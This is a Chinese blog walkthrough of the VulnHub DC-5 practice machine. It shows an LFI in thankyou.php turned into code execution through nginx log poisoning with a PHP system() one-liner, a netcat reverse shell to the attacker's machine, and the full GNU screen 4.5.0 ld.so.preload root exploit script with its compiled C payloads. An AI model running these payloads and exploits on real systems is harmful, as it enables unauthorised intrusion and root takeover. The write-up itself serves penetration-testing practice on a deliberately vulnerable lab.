代码编织梦想

靶机介绍

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

靶机地址:DC: 5 ~ VulnHub

学习到的知识

LFI(本地文件包含)日志获取shell
wfuzz工具的使用
screen提权root

信息搜集

拿到 IP 先扫描端口开放服务:

1
nmap -A -T 4 192.168.1.144

 

它这边只开放了 80(http)和 111(RPC)两个端口服务!

RPC 他是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。

我们先来到 WEB 端,但是没有什么可利用点,只有一个表单提交的地方:

1
http://192.168.1.144/contact.php

我随便提交了一些内容,发现了它会被提交到 thankyou.php 这个文件:

 

LFI本地文件包含获取shell

看上去有点像 LFI(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:

1
wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z

 

由于FUZZ出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:

1
http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf

 

打开后我发现它可以读取系统文件:

 

这个时候确定了它存在本地文件包含!那么我继续用 wfuzz 缩小我们得到的参数范围:

1
2
wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
--h 是过滤Chars

这样我们就成功的得到一些可利用的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z
Total requests: 2568

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                    
===================================================================

000001714:   200        44 L     68 W     861 Ch      "file - /etc/issue"                                                                                                                        
000001715:   200        49 L     103 W    1121 Ch     "file - /etc/motd"                                                                                                                         
000001716:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       
000001717:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       
000001719:   200        96 L     117 W    1558 Ch     "file - /etc/group"                                                                                                                        
000001833:   500        38 L     58 W     786 Ch      "file - /etc/php5/apache2/php.ini"                                                                                                         
000001844:   500        38 L     58 W     786 Ch      "file - /etc/php5/cgi/php.ini"                                                                                                             
000001872:   200        170 L    590 W    4368 Ch     "file - /etc/mysql/my.cnf"                                                                                                                 
000001926:   200        65662    871324   9389548 C   "file - /var/log/nginx/access.log"        

随后我发现了它的一个日志文件里有我们的请求记录:

1
http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log

既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:

1
http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>

(温馨提示:到这里我靶机重启了一下,所以 IP 变了)

接下来然后用日志文件去执行命令 ls

1
http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls

 

成功执行命令!那么我就用 nc 反弹一个shell回来吧!先是 KALI nc 监听 5555 端口,然后访问得到一枚 shell

1
http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555

 

得到 shell 以后我用 python 切换到 bash

1
python -c 'import pty;pty.spawn("/bin/bash")'

权限提升

之后我查找 SUID 权限的文件发现了 screen :

1
find / -perm /4000 2>/dev/null

紧接着我又去搜索了一下关于 screen 的漏洞,找到了一个提权 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

接着我按照上面的 POC 创建了 libhax.crootshell.c 文件,文件内容是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~# cat libhax.c 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}


root@kali:~# cat rootshell.c 
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

随后用 gcc 编译他们:

1
2
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

编译完后我用 nc 把刚刚编译好的文件传到目标服务器上:

1
2
3
4
5
6
7
KALI:
nc -nlvp 7777 < libhax.so
nc -nlvp 7777 < rootshell

靶机:
nc 192.168.1.128 7777 > libhax.so
nc 192.168.1.128 7777 > rootshell

最后按照 POC 上面的步骤依次输入命令提权为 root

1
cd /etc

1
umask 000 

1
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

1
screen -ls

1
/tmp/rootshell

最终也是在 /root 目录下拿到了 Flag

交流群:

 微信公众号:

 知识星球:

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_36304918/article/details/124708023

vulnhub-------docker_containement_大方子的博客-爱代码爱编程

=========================== 个人收获: 1.利用reGeorg+Proxifier进行内网渗透 2.学会wpscan 3.学会了Docker Remote api   =============================   下载地址:https://download.vulnhub.com/vulne

No.25-VulnHub-Temple of Doom: 1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Temple of Doom: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/ 靶机难度:中级(CTF) 靶机发布日期:2018年6月8日 靶机描述: [+]由https://twitter.com/0katz创建的CTF [+]

No.27-VulnHub-Pinky's Palace: v2-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Pinky’s Palace: v2-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/pinkys-palace-v2,229/ 靶机难度:中级(CTF) 靶机发布日期:2018年3月18日 靶机描述:一个现实的Boot2Root。获得对系统的访问权限并阅读/root/root

No.38-VulnHub-Tommy Boy: 1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Tommy Boy: 1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/tommy-boy-1,157/ 靶机难度:中级(CTF) 靶机发布日期:2016年7月27日 靶机描述: 圣施耐克!汤米男孩需要您的帮助! 卡拉汉汽车公司终于进入了现代技术领域,并建立了一个Web服务器

No.39-VulnHub-Billy Madison: 1.1-Walkthrough渗透学习-爱代码爱编程

** VulnHub-Billy Madison: 1.1-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/billy-madison-11,161/ 靶机难度:中级(CTF) 靶机发布日期:2016年9月14日 靶机描述: Help Billy Madison stop Eric from tak

No.41-VulnHub-DEFCON Toronto: Galahad-Walkthrough渗透学习-爱代码爱编程

** VulnHub-DEFCON Toronto: Galahad-Walkthrough ** 靶机地址:https://www.vulnhub.com/entry/defcon-toronto-galahad,194/ 靶机难度:初级(CTF) 靶机发布日期:2017年6月1日 靶机描述: Defcon Toronto于2016年9月主办的在线

0x01--Prime_Series_Level-1靶场-爱代码爱编程

001–靶场介绍 Prime是vulnhub靶场环境的一个简单的利用靶场,我们可以在vulnhub的官网里搜索到它,Prime系列共有六个靶场,本次使用的是19年出的第一个靶场环境。 介绍及下载链接:https://www.vulnhub.com/entry/prime-1,358 002–安装 靶场下载后是一个压缩文件,解压后用vm打开就行了,默认

Vulnhub-靶机-PRIME: 1-爱代码爱编程

今天发现了一个有趣的靶机,加载到本地VMware Workstation工作站进行漏洞复现 靶机下载地址 https://www.vulnhub.com/entry/prime-1,358/ 对目标进行扫描发现开放端口信息 nmap -sS -sV -p- -T5 100.100.100.130 浏览器访问,并对其进行目录扫描 di

《Vulnhub通关手册》——01 DC-1-爱代码爱编程

​背景概述: 下载地址为:https://www.vulnhub.com/entry/dc-1-1,292/ 本次靶机IP为192.168.2.11 技术要点: drupal7漏洞利用SUID的find命令提权1. 信息收集 1.1 扫描目标主机IP 使用arp-scan进行局域网扫描,使用命令arp-scan -l,扫描结果如下:

Vulnhub-shenron-2:神龙2靶机渗透攻略-爱代码爱编程

下载地址https://www.vulnhub.com/entry/shenron-2,677/ 启动环境virtualbox,若启动报错更改虚拟机中usb配置为1.1即可 需要获得两个flag ​ 信息收集 nmap扫描 nmap -sC -sV 192.168.210.220 发现22ssh,80和8080http ​ ​ 网站信息 8

Vulnhub-shenron-3:神龙3靶机渗透攻略-爱代码爱编程

下载链接:https://www.vulnhub.com/entry/shenron-3,682/ 需要拿到两面flag ​ 信息收集 nmap扫描 nmap -sC -sV 192.168.210.209 只有一个80端口 网站信息收集 看来得添加hosts解析,跟同系列靶机一个套路 页面正常 发现cms还是wordpress 目录

Vulnhub之Web-Machine-N7-爱代码爱编程

靶机下载地址: Web Machine: (N7) ~ VulnHubWeb Machine: (N7), made by Duty Mastr. Download & walkthrough links are available.https://www.vulnhub.com/entry/web-machine-n7,756/Difficul

【Vulfocus漏洞复现】redis-cnvd_2019_21763、redis-cnvd_2015_07557-爱代码爱编程

vps:腾讯云 centos8 本地:windows11 靶场环境:http://123.58.236.76:47109/ 在vps上执行以下命令 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/ make

VulnHub通关日记-DC_8-Walkthrough-爱代码爱编程

靶机介绍 DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。 这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务器被利用的“概念证明”。 由于在Twitter上询问了有关双重身份验证和Linux的问题,也由于@ theart42的建议,最终导致了该挑战的“概念验证”部分。